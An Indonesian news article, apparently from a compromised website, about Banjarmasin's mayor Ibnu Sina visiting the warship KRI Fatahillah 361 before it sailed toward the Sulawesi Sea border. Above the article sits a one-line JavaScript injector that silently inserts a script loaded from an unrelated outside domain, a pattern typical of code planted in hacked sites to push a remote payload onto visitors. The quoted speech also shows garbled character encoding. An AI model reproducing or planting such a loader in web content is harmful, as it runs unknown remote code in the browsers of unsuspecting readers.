(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sebelum Berlabuh, Wali Kota Sempatkan Kunjungi KRI Fatahillah

BANJARMASIN, Tiga hari sejak KRI Fatahillah 361 sandar di Pelabuhan Trisakti Banjarmasin dan menggelar open ship, masyarakat tak pernah sepi mengunjungi. Dan tadi, pada hari terakhir kapal perang jenis perusak kawal berpeluru kendali ini hendak pergi, datang tamu spesial yakni Walikota Banjarmasin Ibnu Sina.

Sebelum kapal bertolak menuju perbatasan Indonesia-Filipina di laut Sulawesi, Ibnu Sina menyempatkan diri berkunjung dan menjelajah seisi kapal. Ia didampingi Letkol Laut (P) Sandy Kurniawan dan Kolonel Laut (P) Widjayanto.

Kapal bermuatan 90 personel angkatan laut ini baru kali pertama sandar di Banjarmasin dengan tujuan bekal ulang stok makanan dan air tawar sebelum melanjutkan perjalanan. Usai berkeliling kapal, Ibnu Sina memberikan cenderamata kepada Letkol Laut (P) Sandy Kurniawan berupa buku sejarah Banjarmasin, kain sasirangan, hingga bakul purun.

Sandy Kurniawan mengatakan bahwa kunjungan Walikota untuk melihat-lihat kapal yang juga bermuatan meriam 120 mm ini tidak direncanakan. Ã¢â‚¬Å“Tidak direncanakan, jadi memang Danlanal Kolonel Widjayanto memiliki hubungan yang sangat baik dengan Forkopimda di Banjarmasin, sehingga dalam waktu singkat saja kehadiran KRI Fatahillah di sini direspon sangat positif oleh instansi pemerintahan di Banjarmasin. Kami sangat mengapresiasi sekali kehadiran beliau,Ã¢â‚¬Â ungkapnya.

Sekadar untuk dikeatahui, kapal buatan tahun 1979 dengan panjang 83,85 meter, lebar 11,10 meter, serta berat benaman 1.450 ton pernah ikut bertugas pada saat konflik Timor Timur dalam menjaga kedaulatan wilayah RI Indonesia di laut sebagai penguatan politik negara. Kapal ini juga sudah berkeliling ke banyak wilayah regional hingga pernah mengikuti event bertarat internasional.(mario)

Reporter : Mario
Editor : Chell